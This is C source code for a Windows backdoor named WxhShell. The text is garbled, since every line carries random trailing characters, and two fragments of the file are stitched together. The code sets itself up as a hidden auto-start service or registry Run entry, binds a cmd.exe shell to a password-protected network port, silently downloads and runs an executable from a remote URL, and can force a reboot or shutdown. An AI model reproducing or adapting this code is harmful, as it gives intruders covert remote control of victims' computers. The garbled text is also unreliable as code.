    closesocket(wsh); L\<J|87p?  
    ExitThread(0); %cMayCaI!@  
    } J= DD/Gp  
    break; ^A;ec h7I  
    } y|.dM.9V  
  // 关机 A<g5:\3  
  case 'd': { rHtX4;f+><  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Od]wh  
    if(Boot(SHUTDOWN)) c$3ZEe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Qm .k$[  
    else { dnX^?  
    closesocket(wsh); ui^v.YCMI  
    ExitThread(0); *\wf(o>Q  
    } )4/UzR$  
    break; ,!^w  
    } |1 LKdP  
  // 获取shell L\kT9wWK|  
  case 's': { w?p8)Q6m  
    CmdShell(wsh); OoAZ t  
    closesocket(wsh); bNz2Uo!0K  
    ExitThread(0); e}"k8 ./  
    break; /^Lo@672  
  } ,PyPRPk  
  // 退出 rg+3pX\{  
  case 'x': { 7o M]qLF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yz=6 V%  
    CloseIt(wsh); ]GHx<5Q:\  
    break; i0&] Ig|;  
    } $2*&\/;-E!  
  // 离开 SB!m&;Tb  
  case 'q': { o&:n>:im  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x6*.zo5e  
    closesocket(wsh); 9\NP)Vm$^  
    WSACleanup(); SVyJUd_  
    exit(1); =}4lx^`oeT  
    break; v]KI=!Gs  
        } y/A<eHLy  
  } @Cd}1OT)  
  } kC6s_k  
\"@`Rf   
  // 提示信息  PYYO-Twg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~;Xkt G:  
} I*i$!$Bx2  
  } "LH*T  
Fqp~1>wi  
  return; D D Crvl  
} 8 uhB&qxB  
WN?meZ/N/  
// shell模块句柄 ?{6[6T  
int CmdShell(SOCKET sock)  SjO Iln  
{ @-qC".CI  
STARTUPINFO si; ()i!Uo  
ZeroMemory(&si,sizeof(si)); QJ-?6 7_i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rO{"jJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mkmVDRK  
PROCESS_INFORMATION ProcessInfo; z'}?mE3i  
char cmdline[]="cmd"; p}swJ;S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NBZ>xp[U  
  return 0; j k}m  
} #8jH_bi  
oWc +i U(  
// 自身启动模式 Ti9cN)lq&  
int StartFromService(void) TDQh^Wo  
{ KbV%8nx!!  
typedef struct zoBjrAyD  
{ >'zp  
  DWORD ExitStatus; 0H{0aQQ  
  DWORD PebBaseAddress; x5Ee'G(  
  DWORD AffinityMask; T)B1V,2j=  
  DWORD BasePriority; 8M'6Kcr  
  ULONG UniqueProcessId; { e %  
  ULONG InheritedFromUniqueProcessId; l+V5dZ8W  
}   PROCESS_BASIC_INFORMATION; "ae55ft//  
yo0?QRT  
PROCNTQSIP NtQueryInformationProcess; _j2h3lCT  
!P26$US%P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rJm%qSZz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }t #Hq  
a?!Joi[  
  HANDLE             hProcess; NeyGIEP  
  PROCESS_BASIC_INFORMATION pbi; /`Lki>"  
W\<5'9LNb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HCifO  
  if(NULL == hInst ) return 0; ,Pd2ZfZ  
[%8+Fa~Wa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]g; K_>@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W}1h~rNy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |KC3^  
]H|1q uT  
  if (!NtQueryInformationProcess) return 0; a[8_ O-   
@]h#T4z'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AH], >i3  
  if(!hProcess) return 0; T't^pO-`  
v+=_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J=U7m@))Y#  
K`2a{`  
  CloseHandle(hProcess); ?Xo9,4V1  
X|wXTecg*|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jr:LLn#}  
if(hProcess==NULL) return 0; k\}qCDs  
.9g\WH#qD|  
HMODULE hMod; Z [5HI;  
char procName[255]; n{Mj<\kL  
unsigned long cbNeeded; wEMUr0Hq  
c(AjM9s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &4DV]9+g  
h OboM3_  
  CloseHandle(hProcess); z[ ;{p.W  
 . yu  
if(strstr(procName,"services")) return 1; // 以服务启动 LVLh&9  
j{P,(-  
  return 0; // 注册表启动 Ahq^dx#o  
} lv ^=g  
[* > @hx  
// 主模块 xI~\15PhG  
int StartWxhshell(LPSTR lpCmdLine) {hRAR8  
{ 1^zF/$%  
  SOCKET wsl; )-a_,3x%j  
BOOL val=TRUE; 1 )j%]zd2  
  int port=0; Z?hBn`.  
  struct sockaddr_in door; }RUC#aW1  
6]gs{zG  
  if(wscfg.ws_autoins) Install(); `u-VGd\  
J= |[G'  
port=atoi(lpCmdLine);  "rjJ"u 1  
-RH ?FJ  
if(port<=0) port=wscfg.ws_port; =C\S6bF%  
ak;Z;  
  WSADATA data; Wu Gm~<NS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; % e1vq  
9Jk(ID'c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v @N8v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KQ9:lJKr  
  door.sin_family = AF_INET; t8)Fkx#8}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {fN_itn  
  door.sin_port = htons(port); TPEZ"%=Hg  
iZyk2kc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \K?./*  
closesocket(wsl); Y*Q( v  
return 1; -I8%  
} PUYo >eB)0  
ln=zGX.e  
  if(listen(wsl,2) == INVALID_SOCKET) { nQ(#'9  
closesocket(wsl); dF.T6b  
return 1; eNNgxQw>m  
} 0`ib_&yI  
  Wxhshell(wsl); X}usyO'pW  
  WSACleanup(); 7_Q86o  
xZhD6'Zzz  
return 0; 5^d%+*l;q  
s_*eX N  
} sy@k3wQ  
Vd1K{rH#  
// 以NT服务方式启动 y?unI~4tC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7T2W% JT-,  
{ "+ Qh,fTt  
DWORD   status = 0; #/jHnRrQ   
  DWORD   specificError = 0xfffffff; x.r`(  
7R2)Klt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9vj:=,TNu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R&alq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4*9Dh  
  serviceStatus.dwWin32ExitCode     = 0; F#<P FT4i  
  serviceStatus.dwServiceSpecificExitCode = 0; .$OInh  
  serviceStatus.dwCheckPoint       = 0; 1)PR]s:-m@  
  serviceStatus.dwWaitHint       = 0; ntkinbbD  
bA^a@ lv a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z vYDE]  
  if (hServiceStatusHandle==0) return; n `Xz<Q!  
*HXq`B  
status = GetLastError(); =91'.c<  
  if (status!=NO_ERROR) RU >vnDaC  
{ {oJa8~P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V[bc-m  
    serviceStatus.dwCheckPoint       = 0; \S@A /t6pa  
    serviceStatus.dwWaitHint       = 0; .BUl$RW|  
    serviceStatus.dwWin32ExitCode     = status; ?rK%;GTo  
    serviceStatus.dwServiceSpecificExitCode = specificError; =J'?>-B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p.\KmEx  
    return; C1do]1VH  
  } FXSDN268  
&+^ # `nq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y-X'eCUz  
  serviceStatus.dwCheckPoint       = 0; uHIWbF<0oo  
  serviceStatus.dwWaitHint       = 0; s+w<!`-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1*jL2P]D  
} :hr@>Y~r  
k2WO*xa*  
// 处理NT服务事件,比如:启动、停止 ~R8yj(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @} Z/{Z[@  
{ % b&BLXW  
switch(fdwControl) /uc/x+(_  
{ W|Tew-H{h_  
case SERVICE_CONTROL_STOP: #~f+F0#%?  
  serviceStatus.dwWin32ExitCode = 0; 2Ee1mbZVw8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @/u`7FO$&  
  serviceStatus.dwCheckPoint   = 0; +UsR  
  serviceStatus.dwWaitHint     = 0; Zll^tF#  
  { W.R'2R#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X]*/]Xx  
  } (j I|F-i  
  return; ^0 lPv!2  
case SERVICE_CONTROL_PAUSE: iL gt_@g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :&-}S>pC  
  break; (R}X( u  
case SERVICE_CONTROL_CONTINUE: yfW^wyDd2o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IjRmpVcwN  
  break; M^f1D&A  
case SERVICE_CONTROL_INTERROGATE: c+{4C3z  
  break; K{ P#[X*5  
}; ;X6y.1N~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Z+,)-ke  
} cs M|VNE>  
S}f<@-16P  
// 标准应用程序主函数 )89jP088V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 11T\2&Q  
{ A(p  
-8jqC6mQ  
// 获取操作系统版本 \@3  
OsIsNt=GetOsVer(); &NQR*Tn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fYjsSUnf  
]."c4S_)|  
  // 从命令行安装 W>bW1h  
  if(strpbrk(lpCmdLine,"iI")) Install(); kw~H%-,]  
UhTr<(@  
  // 下载执行文件 k f!/9  
if(wscfg.ws_downexe) { =k7\g /  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mX?{2[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9tEKA|8  
} n1>nnH]G  
K@~#Gdnl  
if(!OsIsNt) { }x1IFTa!  
// 如果时win9x,隐藏进程并且设置为注册表启动 G0> Wk#or  
HideProc(); I yN9 +  
StartWxhshell(lpCmdLine); Y]K]]Ehp  
} CEq]B:[IC  
else Kc\'s65.]  
  if(StartFromService()) d@4!^vD;  
  // 以服务方式启动 #jx?uS  
  StartServiceCtrlDispatcher(DispatchTable); * _l o;  
else X4G55]D$>  
  // 普通方式启动 %Nl(Y@dD*  
  StartWxhshell(lpCmdLine); @e0skc  
[s{:}ZuKc  
return 0; Ur(o&,  
} .6F3;bg R7  
I?g__u=n~  
h}>/Z3*  
=hOa 0X=  
=========================================== ZC*d^n]x.  
3a}`xCO5  
mZVOf~9E  
KAcri<^G  
2rtP.*dd  
PjW+V`  
" cEjdImAzU  
$#FlnM<=  
#include <stdio.h> 97wy;'J[u  
#include <string.h> WbWW=(N'd  
#include <windows.h> MxEAs}MDv  
#include <winsock2.h> %=8(B.I!  
#include <winsvc.h> 2\\3<  
#include <urlmon.h> @h$0S+?:  
1 " 7#|=1/  
#pragma comment (lib, "Ws2_32.lib") cu?(P ;mQi  
#pragma comment (lib, "urlmon.lib") ]U1,NhZu  
N pND/  
#define MAX_USER   100 // 最大客户端连接数 Sw@,<4S  
#define BUF_SOCK   200 // sock buffer &E riskI  
#define KEY_BUFF   255 // 输入 buffer ,wi=!KzX  
<?{}Bo0xG  
#define REBOOT     0   // 重启 .^IhH|U  
#define SHUTDOWN   1   // 关机 GR[>mkW!M  
N$&ePU J  
#define DEF_PORT   5000 // 监听端口 Cj 2 Xl  
3@`H<tP'6o  
#define REG_LEN     16   // 注册表键长度 <4e*3WSG  
#define SVC_LEN     80   // NT服务名长度 ![]I%'s  
)c >B23D  
// 从dll定义API <ii1nz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E5BgQ5'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'b?.\Bm;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |z]2KjF&w-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @IY?DO  
 pl,Z  
// wxhshell配置信息 n`z+ w*  
struct WSCFG { &:CjUaP@  
  int ws_port;         // 监听端口 k-pEBh OH  
  char ws_passstr[REG_LEN]; // 口令 u 1{ym_  
  int ws_autoins;       // 安装标记, 1=yes 0=no WmjzKCl  
  char ws_regname[REG_LEN]; // 注册表键名 rYFau1  
  char ws_svcname[REG_LEN]; // 服务名 <h_P+ nz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _=*tDa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Ej]X`F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MhI)7jj`mt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IqCCfsf4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )uid!d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {ogZT7w}  
Dp*$GQ  
}; 1: xnD  
%FyygTb;S  
// default Wxhshell configuration !ObE{2Enf  
struct WSCFG wscfg={DEF_PORT, ? TT8|Os  
    "xuhuanlingzhe", yb4tJu$  
    1, ZutB_uW  
    "Wxhshell", loUl$X.u  
    "Wxhshell", fEw=I7{Y  
            "WxhShell Service", ^'[@M'`~L  
    "Wrsky Windows CmdShell Service", R,+/A8[j  
    "Please Input Your Password: ", YZH#5]o8  
  1, `<}V !Lo  
  "http://www.wrsky.com/wxhshell.exe", T6I%FXm}  
  "Wxhshell.exe" 4,U}Am1Q  
    }; /Fo/_=FE2  
C. Ja;RFq  
// 消息定义模块 O GFE*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +:,`sdv6o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rFq@ ]t3q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N8XC~Dh{  
char *msg_ws_ext="\n\rExit."; J,1osG<6x  
char *msg_ws_end="\n\rQuit."; }, fo+vRM  
char *msg_ws_boot="\n\rReboot..."; Sq-3-w,R~  
char *msg_ws_poff="\n\rShutdown..."; 3IK(f .  
char *msg_ws_down="\n\rSave to "; %7]XW2u  
.b#9q6F-/  
char *msg_ws_err="\n\rErr!"; 2b#(X'ob  
char *msg_ws_ok="\n\rOK!"; wVp4c?s  
{x|kg;  
char ExeFile[MAX_PATH]; E./__Mz@  
int nUser = 0; Sc/`=h]T  
HANDLE handles[MAX_USER]; :G`L3E&1s  
int OsIsNt; >I d!I  
>Qm<-g  
SERVICE_STATUS       serviceStatus; t[?a @S~6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R#/?AD&  
e$Bf[F#;-  
// 函数声明 :6W^ S/pf  
int Install(void); $Pd|6  
int Uninstall(void); 9si}WqAw  
int DownloadFile(char *sURL, SOCKET wsh); F:;!) H*  
int Boot(int flag); #H;hRl  
void HideProc(void); W{A #]r l  
int GetOsVer(void); }(ma__Ao  
int Wxhshell(SOCKET wsl); 0F+ zG)G"  
void TalkWithClient(void *cs); W`N}  
int CmdShell(SOCKET sock); W]O@DS zR  
int StartFromService(void); -MrtliepW*  
int StartWxhshell(LPSTR lpCmdLine); E q=wdI  
7 DY WdDX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v_z..-7Dq+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oQ%\[s$  
|"R_-U  
// 数据结构和表定义 3^\?>C7  
SERVICE_TABLE_ENTRY DispatchTable[] = hD_5~d  
{ JY2/YDJ  
{wscfg.ws_svcname, NTServiceMain}, CZyz;Jtk  
{NULL, NULL} n5v'  
}; lMC{SfdH  
cq,v1Y<  
// 自我安装 _~;&)cn,0  
int Install(void) b " ")BT  
{ jC%35bi  
  char svExeFile[MAX_PATH]; ym|NT0_0  
  HKEY key; zJ;>.0  
  strcpy(svExeFile,ExeFile); 6 u-$  
/mn-+u`K  
// 如果是win9x系统,修改注册表设为自启动 h(@R]GUX  
if(!OsIsNt) { }!%JYG^!D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KdT[*-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GIm " )}W  
  RegCloseKey(key); U@6jOZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g@~!kh,TH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UvxSMD:A  
  RegCloseKey(key); e Om< !H  
  return 0; Vi|7%!j<  
    } N] 14  
  } +Edzjf~Tt  
} oW 1"%i%  
else { w 66 v\x~  
@Od^k#  
// 如果是NT以上系统,安装为系统服务 e-X HN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 -ZJT  
if (schSCManager!=0) %K[daXw6E8  
{ {L@+(I  
  SC_HANDLE schService = CreateService &{%MjKJ._  
  ( jn-QKdqM  
  schSCManager, q!6|lZB3  
  wscfg.ws_svcname, -2F@~m|  
  wscfg.ws_svcdisp, hv* >%p  
  SERVICE_ALL_ACCESS, XTJvV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  fb\DiKsW  
  SERVICE_AUTO_START, ugYw <  
  SERVICE_ERROR_NORMAL, /+V Iw`E  
  svExeFile, CjZZm^O  
  NULL, ?Z q_9T7  
  NULL, w *50ZS;N  
  NULL, i S%  
  NULL, bGv* -;*  
  NULL L#D9@V'z  
  ); *q0`})IQ  
  if (schService!=0) *'D=1{WZ!  
  { z[fB!O  
  CloseServiceHandle(schService); lT.zNhz:d9  
  CloseServiceHandle(schSCManager); \6sqyWI %  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zZ%DtxUoU.  
  strcat(svExeFile,wscfg.ws_svcname); }A]BpSEP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )^4hQ3BS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^q ;Cx7T_p  
  RegCloseKey(key); FigR1/3o'6  
  return 0; ^ [k0k(_  
    } 0rD#s{?   
  } mjb { ~  
  CloseServiceHandle(schSCManager); NbtGlSs8  
} (}Sr08m  
} >$\Bu]{1  
Sp:l;SGd  
return 1; }e 9!xA  
} 5[C~wvO  
AUfS-  
// 自我卸载 n~tqO!q  
int Uninstall(void) {<2>6 _z  
{ hd B |#t  
  HKEY key; #,L~w  
8tLHr@%%  
if(!OsIsNt) { XS?gn.o\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "PMQyzl  
  RegDeleteValue(key,wscfg.ws_regname); +t98 @  
  RegCloseKey(key); DkgUvn/S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mEFw|M{  
  RegDeleteValue(key,wscfg.ws_regname); Yd:Q`#7A  
  RegCloseKey(key); f1mHN7hxW  
  return 0; !}y1CA  
  } hSB?@I4s<\  
} $Pxb1E  
} B^fT>1P  
else { t9FDU  
+2RNZEc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fW?sYC'  
if (schSCManager!=0)  ~,"N[Q  
{ j!\dn!Xwt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?}}qu'N:N  
  if (schService!=0) $&hN*7Ts  
  { p3c"ZPO~z  
  if(DeleteService(schService)!=0) { 8d!GZgC8R  
  CloseServiceHandle(schService); Qzqc .T  
  CloseServiceHandle(schSCManager); a+`D'?z  
  return 0;  PWH^=K  
  } 3JO]f5  
  CloseServiceHandle(schService); *5k+t  
  } a?F!,=F  
  CloseServiceHandle(schSCManager); gZO&r#   
} ~.^AL}zm_  
} mdW~~-@H  
F";.6%;AC  
return 1; F;8*H1  
}  c 6"Ib)  
;au*V5a%  
// 从指定url下载文件 ,zhJY ?sk  
int DownloadFile(char *sURL, SOCKET wsh) 2N5`'  
{ v4rW2F:X  
  HRESULT hr; {EA1vo"  
char seps[]= "/"; 1@>$ Gcc  
char *token; 0K `[,$Y  
char *file; 9CJ(Z+;OM  
char myURL[MAX_PATH]; "Y;}G lE  
char myFILE[MAX_PATH]; `!vUsM.d  
|4;UyHh  
strcpy(myURL,sURL); u.,Q4u|!  
  token=strtok(myURL,seps); .@#A|fgv  
  while(token!=NULL) 6cz/n8Mg  
  { _c`K+o"3  
    file=token; <YB9Ac~}z  
  token=strtok(NULL,seps); (YPi&w~S  
  } "l7NWqfB  
aS84n.?vq  
GetCurrentDirectory(MAX_PATH,myFILE); Io  n~  
strcat(myFILE, "\\"); NBYH;h P  
strcat(myFILE, file); x|i_P|Z  
  send(wsh,myFILE,strlen(myFILE),0); k7@t{Cu0D&  
send(wsh,"...",3,0); > Lft9e   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8`=v.   
  if(hr==S_OK) s@8w-]"  
return 0; -TO\'^][X  
else w_hHfZ9E  
return 1; ALc`t(..}A  
a0=WfeT  
} T 2F6)e  
,WD X(  
// 系统电源模块 %eg+F  
int Boot(int flag) H,QTYXi "  
{ y7/F _{  
  HANDLE hToken; j$Ab>}g]  
  TOKEN_PRIVILEGES tkp; E{E0Z9t7&  
t)f-mQz)  
  if(OsIsNt) { S<`I Jpkv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e}hmS1>H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); - +> 1r  
    tkp.PrivilegeCount = 1; :o46rBs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q?):oJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KC`q#&dt  
if(flag==REBOOT) { */^QH@P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cPDQ1qre!  
  return 0; `R"~v/x  
} jYRP8 Yi  
else { :9|\Z|S(I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _oG&OJ@  
  return 0; bq>_qpr  
} =K\r-'V  
  } g[H',)A)  
  else { bD ^b  
if(flag==REBOOT) { |~!U4D\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t]aea*B  
  return 0; -=`#fDvBn  
} 8CbXMT  
else { F@ Swe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (wRgus  
  return 0; 6$\jAd|  
} _8,()t'"  
} |`TgX@,#9  
QnQOm ""  
return 1; U;N:j8  
} 8[vc?+>&  
@$9'@")  
// win9x进程隐藏模块 F$BbYf2i  
void HideProc(void) V#REjsf,t-  
{ ]:>,A@7  
i4JqT\q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fz#X= gmG  
  if ( hKernel != NULL ) bKg8rK u  
  { 2i;7{7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :cB=SYcC%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oVFnl A  
    FreeLibrary(hKernel); ;oZ)Wt  
  } R;,g1m|]  
>/[GTqi  
return; ApBWuXp|u  
} F8-?dpf'  
-Eu6U`"(  
// 获取操作系统版本 #Cpd9|  
int GetOsVer(void) Od f[*  
{ 7xRl9  
  OSVERSIONINFO winfo; &xRo^iV?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %\]* OZ7  
  GetVersionEx(&winfo); ) e5 @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wLK07e(  
  return 1; (hiyNMC  
  else <sK4#!K  
  return 0; >leU:7  
} 4=<tWa|@9  
1`ayc|9BR  
// 客户端句柄模块 'AN>`\mR$  
int Wxhshell(SOCKET wsl) =[b)1FUp  
{ RuII!}*  
  SOCKET wsh; /1Ue?)g  
  struct sockaddr_in client; ck?YI]q|  
  DWORD myID; dXF^(y]l  
p w8 s8?  
  while(nUser<MAX_USER) `tP7ncky  
{ _S>JKz  
  int nSize=sizeof(client); I(S`j[U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4R18A=X  
  if(wsh==INVALID_SOCKET) return 1; Ym3\pRFiD  
94B\5I}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hzkcP  
if(handles[nUser]==0) UQ{L{H   
  closesocket(wsh); yKO`rtP  
else +$g}4  
  nUser++; <HbcNE~  
  } ^fZ&QK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (sh)TBb5  
?@E!u|]K  
  return 0; E? _Z`*h  
} PLK3v4kVM!  
dqN5]Sb2B  
// 关闭 socket ]]zPq<b2  
void CloseIt(SOCKET wsh) z^T`x_mF  
{ IiG6<|d8H  
closesocket(wsh); >0"+4<72  
nUser--; ^]TVo\,N  
ExitThread(0); c%MW\qx  
} l1f\=G?tmU  
O)[1x4U  
// 客户端请求句柄 vM5k_D  
void TalkWithClient(void *cs) 6I%5Q4Ll  
{ e)(wss+d7P  
nDHTV !]<  
  SOCKET wsh=(SOCKET)cs; oH_;4QU4y  
  char pwd[SVC_LEN]; =3L;Z[^9  
  char cmd[KEY_BUFF]; x QIq^/F0  
char chr[1]; @)fd}tV  
int i,j; ouuuc9x]  
J:Qa5MTWp  
  while (nUser < MAX_USER) { Z'\h  
8P|D13- Q  
if(wscfg.ws_passstr) { DAXX;4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e J6$-r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =>_\fNy  
  //ZeroMemory(pwd,KEY_BUFF); m6w].-D8  
      i=0; p>4-s, W  
  while(i<SVC_LEN) { dw*_(ys  
XCBL}pNkR  
  // 设置超时 INJEsz  
  fd_set FdRead; cLLbZ=`  
  struct timeval TimeOut; iv4H#rJ  
  FD_ZERO(&FdRead); `hQ5VJo  
  FD_SET(wsh,&FdRead); Fvbh\m ~  
  TimeOut.tv_sec=8; 4rLL[??  
  TimeOut.tv_usec=0; ]@phF _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sG F aL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]x(!&y:h  
{0WHn.,2Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $42{HFGq  
  pwd=chr[0]; ~XO Ts  
  if(chr[0]==0xd || chr[0]==0xa) { xCc[#0R{  
  pwd=0; fTK3,s1=  
  break; vkri+:S3  
  } Zcx`SC-0  
  i++; e]zBf;9 J  
    } C$XU%5qi  
PamO8^!G  
  // 如果是非法用户,关闭 socket 67Th;h*sh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OWg(#pZk  
} QC}CRkp  
'Wm x)0)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .nx2";oi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` 2V19 s]  
1=d6NX)B  
while(1) { pSdI/Vj'=  
^f4s"T  
  ZeroMemory(cmd,KEY_BUFF); F^];U+J  
`T5W}p[6  
      // 自动支持客户端 telnet标准   ]1#e#M]#  
  j=0; ?iWi  
  while(j<KEY_BUFF) { w=T\3(%j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P*3BB>FO   
  cmd[j]=chr[0]; `xqr{lhL  
  if(chr[0]==0xa || chr[0]==0xd) { >JFO@O5  
  cmd[j]=0; /}b03  
  break; rrik,qyv6  
  } ] Zy5%gI  
  j++; s;01u_  
    } {#?N  
%N>%!m  
  // 下载文件 2y;Skp  
  if(strstr(cmd,"http://")) { N_W}*2(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z8K?  
  if(DownloadFile(cmd,wsh)) 42$VhdG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"' j7t:  
  else F%@aB<Nu  
